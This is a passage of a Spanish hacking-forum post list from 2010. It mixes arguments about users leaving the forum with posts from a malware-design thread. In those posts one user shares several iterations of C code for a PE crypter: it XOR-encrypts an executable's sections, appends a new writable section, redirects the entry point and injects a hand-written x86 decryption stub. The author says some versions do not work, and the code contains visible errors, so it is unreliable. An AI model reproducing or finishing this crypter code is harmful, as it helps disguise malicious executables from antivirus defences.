|
Mostrar Mensajes
|
Páginas: 1 2 3 [4] 5 6 7 8
|
31
|
Foros Generales / Foro Libre / Re: Abandono el foro
|
en: 29 Agosto 2010, 12:36 pm
|
Si por culpa de que nadie respondió a tu pregunta has conseguido llegar a una solución por ti mismo, recibiste la mejor ayuda posible . Saludos Eso aqui y en todo el mundo es no recibir ayuda, si lo has lograo por ti mismo, cojonudo, pero la experiencia en la vida me dice que si puedes recibir ayuda, mejor que solo y no al contrario. Si a alguno le molesta que conseguir una cosa le ha costado un mundo y a otro en una respuesta.. nose cual de los dos es mas listo. PD. Rabieta? Hablo con winnipu a diario y te puedo asegurar que tiene la cabeza muy bien amueblada. No contesto mas xq hay que saber dejar el foro
|
|
|
32
|
Foros Generales / Foro Libre / Re: Abandono el foro
|
en: 28 Agosto 2010, 12:46 pm
|
Todas las personas son diferentes, es como cuando vas por la calle y te topas con un par de subnormales que te sacan dos cabezas que te dicen idiota pues pasas de ellos y si alguna vez te piden un favor pues no se lo das, no intentes entrar en peleas ni hundirte moralmente porque en esa ocasión no les hiciste frente. Suerte con tu vida Me encanta tu parrafo Se imaginan un peon preguntando a un albañil, que es el mortero? le dira exactamente lo que es, y no, vete a buscarlo en los libros que sabras la respuesta. Pues esto es lo mismo. Algunos nose si viven en el mundo real o virtual. A una persona que tiene talento hay que estimularla, no frenarla.
|
|
|
33
|
Foros Generales / Foro Libre / Re: Abandono el foro
|
en: 28 Agosto 2010, 04:45 am
|
Ariath estoy de acuerdo contigo, como se ve la gente que de verdad vale, una cosa, porque mas de uno estara diciendo mira quien habla, el que hace honor a su nick, si yo he contestao alguna vez borde es porque estoy hasta los güevos de ver lo que habla winnipu (y aparte para mi no ha sido en ninguna ocasion) punto y aparte, teneis delante a un tio que llegará lejos winnipu, que esta comenzando desde cero y ya me esta dando lecciones sobre como no dejar pasar nada por alto. Por esta actitud el foro pierde gente en condiciones, y gente que esta moderando el foro es por tener un entretenimiento, porque ayudar no ayudan nada si no al contrario, te ponen vallas. Para eso no te pongas a moderar.
PD. Yo tambien dejo el foro y aunque a algunos digan me da igual, mas me da igual a mi perderte de vista.
|
|
|
34
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Direccion sección
|
en: 16 Agosto 2010, 23:53 pm
|
No entiendo pq hay que explicar algo que esta documentado y no poco.
Aparte de esto, por otras preguntas relacionadas un dia atras se le ve verde en otros campos que son necesarios. bajo mi punto de vista despues del 1 el 2 de toda la vida.
Y cuales son esos puntos, porque no he recibido ninguna ayuda, todo lo que esta en el foro esta remirado, incluso fuera de el, lo que no puedo hacer es darme palizas estudiandolo.
|
|
|
36
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Direccion sección
|
en: 9 Agosto 2010, 20:04 pm
|
Bueno ya he hecho avances, nose si la parte de la encryptacion esta bien. PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INTH; PIMAGE_SECTION_HEADER ISH; //Direccion DOS //Manejador HANDLE hFile; //Escribimos variables DWORD dwTamArchivo, dwNumeroBytesLeidos; //Abrimos el archivo hFile = CreateFileA(szArchivo,GENERIC_READ+GENERIC_WRITE,0,0,OPEN_EXISTING,0,0); //Obtenemos el tamaño del archivo y los pasa a bytes dwTamArchivo = GetFileSize(hFile,0); //Creamos un buffer que contendrá el contenido del archivo en bytes LPSTR lpBuffer = (LPSTR)GlobalAlloc(GPTR, dwTamArchivo); //Metemos el archivo en lpBuffer ReadFile(hFile, lpBuffer, dwTamArchivo, &dwNumeroBytesLeidos,0); //Cogemos direccion del DOS IDH=(PIMAGE_DOS_HEADER)&lpBuffer[0]; //Cogemos la direccion donde empieza el PE INTH=(PIMAGE_NT_HEADERS)&lpBuffer[IDH->e_lfanew]; for(DWORD i=1; i<INTH->FileHeader.NumberOfSections; i++) { MessageBoxA(0, "He entrao en el for","",0); //Cogemos la direccion de la sección ISH=(PIMAGE_SECTION_HEADER)&lpBuffer[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; //Ciframos o desciframos con XOR ^ 250 for(DWORD j=ISH->PointerToRawData; j<ISH->PointerToRawData+ISH->SizeOfRawData; j++){ lpBuffer[j]^=250;} //Nos colocamos al principio del fichero SetFilePointer(hFile, 0, 0, FILE_BEGIN); //Sobreescribimos los nuevos carácteres WriteFile(hFile, lpBuffer, dwTamArchivo, &dwNumeroBytesLeidos,0); }//for i //ciframos //Cerramos el fichero CloseHandle(hFile);
PD. No tengo nada en contra de [zero] EDITO: Me falta escribir la parte de la nueva sección //Variables cabecera PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INTH; PIMAGE_SECTION_HEADER ISH; //Direccion DOS //Manejador HANDLE hFile; //Escribimos variables DWORD dwTamArchivo, dwNumeroBytesLeidos; DWORD NuevaSeccion=0x200; //Abrimos el archivo hFile = CreateFileA(szArchivo,GENERIC_READ+GENERIC_WRITE,0,0,OPEN_EXISTING,0,0); //Obtenemos el tamaño del archivo y los pasa a bytes dwTamArchivo = GetFileSize(hFile,0); //Creamos un buffer que contendrá el contenido del archivo en bytes LPSTR lpBuffer = (LPSTR)GlobalAlloc(GPTR, dwTamArchivo); //Buffer para arrastrar el PE LPSTR lpTemporal = (LPSTR)GlobalAlloc(GPTR, dwTamArchivo + NuevaSeccion); //Metemos el archivo en lpBuffer ReadFile(hFile, lpBuffer, dwTamArchivo, &dwNumeroBytesLeidos,0); //Copiamos el contenido del inicial al temporal CopyMemory(&lpTemporal[0],&lpBuffer[0], dwTamArchivo); //Rellenamos con ceros la nueva sección memset(&lpTemporal [dwTamArchivo ], '\x90', NuevaSeccion ); //Cogemos direccion del DOS IDH=(PIMAGE_DOS_HEADER)&lpTemporal[0]; //Cogemos la direccion donde empieza el PE INTH=(PIMAGE_NT_HEADERS)&lpTemporal[IDH->e_lfanew]; //Ajustamos el VirtualSize de las Secciones for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++){ ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; ISH->Misc.VirtualSize=ISH->SizeOfRawData; } //Ajusatmos i al numero de secciones DWORD i=INTH->FileHeader.NumberOfSections-1; //Copiamos el contenido 40 bytes antes CopyMemory(&lpTemporal[IDH->e_lfanew-0x28],&lpBuffer[IDH->e_lfanew],sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i); //rellenamos con nops memset(&lpTemporal [IDH ->e_lfanew +sizeof(IMAGE_NT_HEADERS )+sizeof(IMAGE_SECTION_HEADER )*i ],'\x90', 0x28); //Nos dirigiemos a la nueva sección IDH->e_lfanew=IDH->e_lfanew-0x28; INTH=(PIMAGE_NT_HEADERS)&lpTemporal[IDH->e_lfanew]; //Creamos los valores a la nueva sección ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; BYTE NuevoNombre[7]=".nueva"; CopyMemory(ISH->Name, NuevoNombre, 7); ISH->SizeOfRawData=NuevaSeccion; ISH->PointerToRawData=dwTamArchivo; ISH->Characteristics=0xE0000020; ISH->VirtualAddress=ISH->VirtualAddress+INTH->OptionalHeader.SectionAlignment; ISH->Misc.VirtualSize=NuevaSeccion; //Ajustamos OptionalHeader sections INTH->FileHeader.NumberOfSections+=1; //Ajustamos el tamaño del archivo INTH->OptionalHeader.SizeOfImage=INTH->OptionalHeader.SizeOfImage + ISH->Misc.VirtualSize; //Cogemos el actual EntryPoint DWORD EntryP=INTH->OptionalHeader.ImageBase + INTH->OptionalHeader.AddressOfEntryPoint; //Actualizamos el nuevo EntryPoint INTH->OptionalHeader.AddressOfEntryPoint=INTH->OptionalHeader.ImageBase + ISH->VirtualAddress ; for(DWORD i=0; i<INTH->FileHeader.NumberOfSections-1; i++) { if((ISH->Characteristics&0xE0000020)==0xE0000020){ //Cogemos la direccion de la sección ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; //Cogemos inicio y fin de la sección DWORD inicio=ISH->PointerToRawData; DWORD fin=ISH->PointerToRawData + ISH->SizeOfRawData; //Encryptamos while(inicio<fin){lpBuffer[inicio]^=250;inicio++;} } }//for i //Escribimos en la nueva sección LPSTR lpFinal = (LPSTR)GlobalAlloc(GPTR, 0x15); lpFinal="\x68\x00\x00\x00\x00" "\xc3"; //Copiamos el contenido al final del archivo CopyMemory(&lpTemporal[dwTamArchivo],&lpFinal[0], 0x15); //Nos colocamos al principio del fichero SetFilePointer(hFile, 0, 0, FILE_BEGIN); //Sobreescribimos los nuevos carácteres WriteFile(hFile, lpTemporal, dwTamArchivo + NuevaSeccion, &dwNumeroBytesLeidos,0); //Cerramos el fichero CloseHandle(hFile);
EDITO: Bueno lo ultimo, hay algun dato que falla //Variables cabecera PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INTH; PIMAGE_SECTION_HEADER ISH; //Manejador HANDLE hFile; HANDLE FileMaped; //Escribimos variables DWORD dwTamArchivo, dwNumeroBytesLeidos; DWORD NuevaSeccion; //Abrimos el archivo hFile = CreateFileA(szArchivo,GENERIC_READ+GENERIC_WRITE,FILE_SHARE_WRITE+FILE_SHARE_READ,0,OPEN_EXISTING,0,0); //Obtenemos el tamaño del archivo y los pasa a bytes dwTamArchivo = GetFileSize(hFile,0); //Mappeamos el archivo FileMaped=CreateFileMapping (hFile, 0, PAGE_READWRITE, 0, 0, 0); //Creamos un buffer que contendrá el archivo mappeado LPSTR lpBuffer=(LPSTR)GlobalAlloc(GPTR, dwTamArchivo); lpBuffer=(LPSTR)MapViewOfFile(FileMaped,FILE_MAP_ALL_ACCESS,0,0,0); CloseHandle(FileMaped); //Cogemos direccion del DOS IDH=(PIMAGE_DOS_HEADER)&lpBuffer[0]; //Cogemos la direccion donde empieza el PE INTH=(PIMAGE_NT_HEADERS)&lpBuffer[IDH->e_lfanew]; //Cogemos tamaño de la nueva sección NuevaSeccion=INTH->OptionalHeader.FileAlignment; //Buffer para arrastrar el PE LPSTR lpTemporal = (LPSTR)GlobalAlloc(GPTR, dwTamArchivo + NuevaSeccion); //Copiamos el contenido del archivo mappeado al temporal CopyMemory(&lpTemporal[0], &lpBuffer[0], dwTamArchivo); //Cogemos direccion del DOS IDH=(PIMAGE_DOS_HEADER)&lpTemporal[0]; //Cogemos la direccion donde empieza el PE INTH=(PIMAGE_NT_HEADERS)&lpTemporal[IDH->e_lfanew]; //Rellenamos con ceros la nueva sección memset(&lpTemporal [dwTamArchivo ], 0x00, NuevaSeccion ); //Ajustamos el VirtualSize de las Secciones for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++){ ISH=(PIMAGE_SECTION_HEADER)&lpBuffer[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; ISH->Misc.VirtualSize=ISH->SizeOfRawData; } //Ajusatmos i al numero de secciones DWORD i=INTH->FileHeader.NumberOfSections; //Cogemos el antiguo VirtualAddress ISH=(PIMAGE_SECTION_HEADER)&lpBuffer[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i-1)]; DWORD UltimoVirtualAddress=ISH->VirtualAddress; DWORD UltimoPointToRawData=ISH->PointerToRawData; DWORD UltimoSizeOfRawData=ISH->SizeOfRawData; //Movemos el PE el contenido 40 bytes antes CopyMemory(&lpTemporal[IDH->e_lfanew-0x28],&lpBuffer[IDH->e_lfanew],sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i); //rellenamos con ceros memset(&lpTemporal [IDH ->e_lfanew +sizeof(IMAGE_NT_HEADERS )+sizeof(IMAGE_SECTION_HEADER )*(i -1)],0x00, 0x28); //Recolocamos la direccion del PE IDH->e_lfanew=IDH->e_lfanew-0x28; //Nos dirigiemos a la nueva sección INTH=(PIMAGE_NT_HEADERS)&lpTemporal[IDH->e_lfanew]; //Nos colocamos en la ultima sección ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; BYTE NuevoNombre[8]=".nueva"; CopyMemory(ISH->Name, NuevoNombre, 8); ISH->Misc.VirtualSize=NuevaSeccion; ISH->VirtualAddress=UltimoVirtualAddress+INTH->OptionalHeader.SectionAlignment; ISH->SizeOfRawData=NuevaSeccion; ISH->PointerToRawData=UltimoPointToRawData+UltimoSizeOfRawData; ISH->Characteristics=0xE0000020; //Ajustamos OptionalHeader sections INTH->FileHeader.NumberOfSections++; INTH->OptionalHeader.SizeOfImage=ISH->VirtualAddress+INTH->OptionalHeader.SectionAlignment; //Cogemos el actual EntryPoint DWORD EntryP=INTH->OptionalHeader.ImageBase + INTH->OptionalHeader.AddressOfEntryPoint; //Actualizamos el nuevo EntryPoint //INTH->OptionalHeader.AddressOfEntryPoint=UltimoPointToRawData+UltimoSizeOfRawData; //Declaramos variables para coger secciones DWORD cont; for(DWORD i=0; i<INTH->FileHeader.NumberOfSections-1; i++) { //Cogemos la direccion de la sección ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; if(ISH->Characteristics==0x20000020){ cont=i; MessageBoxA(0, "for","",0); //Cogemos inicio y fin de la sección DWORD inicio=ISH->VirtualAddress; DWORD fin=ISH->VirtualAddress + ISH->SizeOfRawData; //Encryptamos while(inicio<fin){lpTemporal[inicio]^=250;inicio++;} } }//for i //Escribimos en la nueva sección ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*0]; DWORD ini=INTH->OptionalHeader.ImageBase + ISH->VirtualAddress; ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*0]; DWORD fini=INTH->OptionalHeader.ImageBase + ISH->VirtualAddress + ISH->SizeOfRawData; //Creamos la sección para desencryptar BYTE retorno[]={0x68,0x00,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0x5B,0x58,0x59,0x80,0x30,0xFA,0x40,0x3B,0xC3,0x75,0xF8,0xFF,0xE1}; *(DWORD *)&retorno[0x01]=EntryP; *(DWORD *)&retorno[0x06]=ini; *(DWORD *)&retorno[0x0B]=fini; //Introducimos el descifrado CopyMemory(&lpTemporal[UltimoPointToRawData+UltimoSizeOfRawData], (PVOID)retorno, 0x20); //Nos colocamos al principio del fichero SetFilePointer(hFile, 0, 0, FILE_BEGIN); //Sobreescribimos los nuevos carácteres WriteFile(hFile, &lpTemporal[0], dwTamArchivo+NuevaSeccion, &dwNumeroBytesLeidos,0); //Cerramos el fichero CloseHandle(hFile); //Liberamos memoria GlobalFree(lpTemporal); GlobalFree(lpBuffer);
|
|
|
37
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Direccion sección
|
en: 9 Agosto 2010, 02:10 am
|
Yo no me referia a poco o mucho capacitado, si no el interes que pongo Yo no he dicho que no te veo capacitado, te he dicho que tendrias que estudiar el formato de los ficheros con los que quieres trabajar. como ya te he demostrado en el estaban tus dudas aclaradas.
EDITO: Lo tenia hecho desde ayer, lo que pasa que no se por que no me funca, si pregunto es por algo, y aprendo mas programando que estudiandolo //Variables cabecera PIMAGE_DOS_HEADER PIDH; PIMAGE_NT_HEADERS PINTH; PIMAGE_SECTION_HEADER PISH; LPSTR lpFileMaped; //Direccion DOS PIDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0]; //Cogemos la direccion donde empieza el PE PINTH=(PIMAGE_NT_HEADERS)&lpFileMaped[PIDH->e_lfanew]; //Manejador HANDLE hFile; //Escribimos variables DWORD dwTamArchivo, dwNumeroBytesLeidos; //Recorremos todas las secciones //for(DWORD i=0; i<INTH->FileHeader.NumberOfSections; i++) //{ //Cogemos la direccion de la sección PISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[PIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*1]; //Abrimos el fichero hFile = CreateFileA(szArchivo,GENERIC_READ+GENERIC_WRITE,0,0,OPEN_EXISTING,0,0); //Obtenemos el tamaño del archivo y los pasa a bytes dwTamArchivo = GetFileSize(hFile,0); //Creamos un buffer que contendrá el contenido de la sección en bytes LPSTR lpBuffer = (LPSTR)GlobalAlloc(GPTR, dwTamArchivo); //Leemos la sección una vez pasado a bytes, metiendo el contenido en lpBuffer ReadFile(hFile, lpBuffer, dwTamArchivo - (PISH->PointerToRawData + PISH->SizeOfRawData), &dwNumeroBytesLeidos,0); //Nos colocamos en la sección SetFilePointer(hFile, PISH->PointerToRawData, 0, 0); //Ciframos o desciframos con XOR ^ 100 for(DWORD j=0; j<0PISH->SizeOfRawData; j++){ lpBuffer[j]^=250;} //Nos colocamos en la sección SetFilePointer(hFile, PISH->PointerToRawData, 0, 0); //Sobreescribimos los nuevos carácteres WriteFile(hFile, lpBuffer, dwTamArchivo - (PISH->PointerToRawData + PISH->SizeOfRawData), &dwNumeroBytesLeidos,0); //}//for i //ciframos //Cerramos el fichero CloseHandle(hFile);
Esto en la nueva sección estaria bien? inicio = INTH.OptionalHeader.ImageBase + ISH.VirtualAddress; final = INTH.OptionalHeader.ImageBase + ISH.VirtualAddress + ISH.misc.VirtualSize; y el nuevo entry point ? INTH.OptionalHeader.AddressOfEntryPoint = INTH.OptionalHeader.ImageBase + ISH.VirtualAddress + INTH.OptionalHeader.sizeofimage Contando con que la sección tenga caracteristicas de escritura
|
|
|
39
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Direccion sección
|
en: 9 Agosto 2010, 01:33 am
|
Valla animos que das majete, debes de creerte el unico capacitado. Y no son ofensas por consejos, si me ofendo es con razon, no me veras enfadarme por alguien que pregunta si no todo lo contrario. Nos tomamos aqui las cosas demasiado en serio, cuando esto es un simple foro, donde la gente se comunica. No debamos confundir con la gente que quiere las cosas hechas con la gente que pone interes. Ale ya puedes contestar
Advertencia - mientras estabas escribiendo, una nueva respuesta fue publicada. Probablemente desees revisar tu mensaje.
EDITO: lo de [zero] es una respuesta, no ha menospreciado en ningun momento (por cierto alguien a quien admiro). [zero] entiendo lo que dices, pero no por que me digan algo voy a pasar y no voy a querer entender lo que hace, solo me ayuda entre tantas cosas que aprender.
|
|
|
40
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Direccion sección
|
en: 9 Agosto 2010, 01:11 am
|
aparte ayer pregunto como obtener el valor del offset 0x3C... no es por ofender pero en unas horas no vas a comprender el formato PE y si a esto le sumas que tienes que leer sobre punteros....
Es delito preguntar? aparte no han sido solo unas horas, nadie nace sabiendo
|
|
|
|
|
|
|